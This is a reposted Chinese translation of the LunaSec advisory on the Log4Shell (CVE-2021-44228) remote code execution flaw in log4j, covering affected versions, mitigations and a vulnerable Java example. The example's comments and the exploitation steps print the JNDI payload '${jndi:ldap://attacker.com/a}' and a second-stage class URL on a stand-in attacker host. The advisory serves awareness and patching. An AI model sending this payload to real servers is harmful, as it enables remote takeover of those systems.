Log4Shell:在流行的 Java 日志包 log4j 中发现的 RCE 0-day 漏洞

admin 2021年12月11日05:03:37Log4Shell:在流行的 Java 日志包 log4j 中发现的 RCE 0-day 漏洞已关闭评论341 views字数 3159阅读10分31秒阅读模式

太平洋标准时间 12 月 10 日凌晨 1:30 更新

几个小时前,在流行的 Java 日志库log4j中发现了一个 0 天漏洞,该漏洞通过记录某个字符串导致远程代码执行 (RCE)。

鉴于该库的普遍性、漏洞利用的影响(完全服务器控制)以及利用的容易程度,该漏洞的影响非常严重。我们简称为“Log4Shell”(CVE-2021-44228 并不那么令人难忘)。

0-day与发布在GitHub 上的 POC 一起推特
发布由于此漏洞仍然很新,因此尚无 CVE 对其进行跟踪。这现已发布为CVE-2021-44228

这篇文章提供了资源来帮助您了解漏洞以及如何自行缓解。

谁受到影响?

许多服务都容易受到这种攻击。Steam、Apple iCloud等云服务和 Minecraft 等应用程序已被发现存在漏洞。

任何使用 Apache Struts 的人都可能受到攻击。我们曾在2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用

许多开源项目,如 Minecraft 服务器Paper,已经开始修补它们对log4j.

更新(发布后3小时):
根据
本博客文章(以英文),大于JDK版本6u2117u2018u191,并且11.0.1不会受到LDAP攻击向量。在这些版本
com.sun.jndi.ldap.object.trustURLCodebase中设置为false意味着 JNDI 无法使用 LDAP 加载远程代码库。

但是,还有其他针对此漏洞的攻击媒介可能会导致 RCE。根据服务器上存在的代码,攻击者可以利用此现有代码来执行有效负载。这篇博文中org.apache.naming.factory.BeanFactory讨论了针对 Apache Tomcat 服务器上存在的类的攻击

受此影响Apache的log4j的版本

2.0 <= Apache log4j <= 2.14.1

永久缓解

在创建此帖子时(2021 年 12 月 9 日),没有可用的稳定版本。

截至 2021 年 12 月 10 日,版本 2.15.0 已发布。log4j-core.jar 可在此处的Maven Central 上获得,带有 [发行说明] 和 [ log4j 安全公告]。

GitHub 的发布似乎仍在等待中。

暂时缓解

根据HackerNews 上的讨论

根据提出它的 JIRA 问题 LOG4J2-2109 [1] 在 2.10.0 版中添加了“formatMsgNoLookups”属性因此,“formatMsgNoLookups=true”缓解策略在 2.10.0 及更高版本中可用,但在 2.15.0 版本中不再需要,因为它随后成为默认行为[2][3]

如果您使用的版本早于 2.10.0 且无法升级,则您的缓解选择是:

  • 修改每个日志记录模式布局,%m{nolookups}而不是%m在您的日志记录配置文件中,请参阅https://issues.apache.org/jira/browse/LOG4J2-2109或,

  • 替换类 org.apache.logging.log4j.core.lookup.JndiLookup 的非易受攻击或空的实现,这样你的类加载器就会使用你的替代品,而不是类的易受攻击版本。请参阅您的应用程序或堆栈的类加载文档以了解此行为。

如何利用工程

利用需求

  • 具有易受攻击log4j版本的服务器(如上所列),
  • 具有允许攻击者发送漏洞利用字符串的任何协议(HTTP、TCP 等)的端点,
  • 以及从该请求中注销字符串的日志语句。

例如漏洞的代码

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

static Logger log = Logger.getLogger(log4jExample.class.getName());

/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");

// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);

String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}

利用步骤

  1. 来自用户的数据被发送到服务器(通过任何协议),
  2. 服务器记录请求中的数据,包含恶意负载:(${jndi:ldap://attacker.com/a}其中attacker.com是攻击者控制的服务器),
  3. log4j漏洞由该有效载荷触发,服务器attacker.com通过“ Java 命名和目录接口”(JNDI)发出请求
  4. 此响应包含http://second-stage.attacker.com/Exploit.class注入服务器进程的远程 Java 类文件(例如的路径
  5. 此注入的有效载荷触发第二阶段,并允许攻击者执行任意代码。

由于此类 Java 漏洞非常常见,安全研究人员已经创建了工具来轻松利用它们。marshalsec项目是一个说明产生漏洞的有效载荷,可用于针对该漏洞的一处。您可以参考此恶意 LDAP 服务器以获取漏洞利用示例。

更多信息

随着有关此漏洞的影响的信息可用,我们将继续更新此帖子。

目前,我们只是发布此内容以帮助提高认识并让人们对其进行修补。请告诉任何运行Java软件的朋友!

如何防止未来的攻击

像令牌化这样的方法可以通过需要多次利用来泄漏敏感数据,从而在攻击发生之前限制您的脆弱性。

LunaSec是一种开源数据安全框架,旨在帮助缓解此类攻击。

编辑这个职位

如果您想进行任何更新或编辑,可以在GitHub 上将此帖子作为 Markdown 进行编辑
请给我们一颗星星⭐!

编辑

  1. 更新了“谁受到影响?” 部分包含基于 JDK 版本的缓解因素,但也建议其他漏洞利用方法仍然普遍。
  2. 将该漏洞命名为“LogJam”, 添加了 CVE,并添加了发布标签的链接。
  3. 使用更新的信息更新缓解步骤。
  4. 删除名称“LogJam”,因为它已被使用改用“Log4Shell”。
  5. 更新 2.15.0 已发布。

参考

[1] https://issues.apache.org/jira/browse/LOG4J2-2109

[2] https://github.com/apache/logging-log4j2/pull/607/files

[3] https://issues.apache.org/jira/browse/LOG4J2-3198

也感谢@80vul 发推文

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月11日05:03:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Log4Shell:在流行的 Java 日志包 log4j 中发现的 RCE 0-day 漏洞https://cn-sec.com/archives/670922.html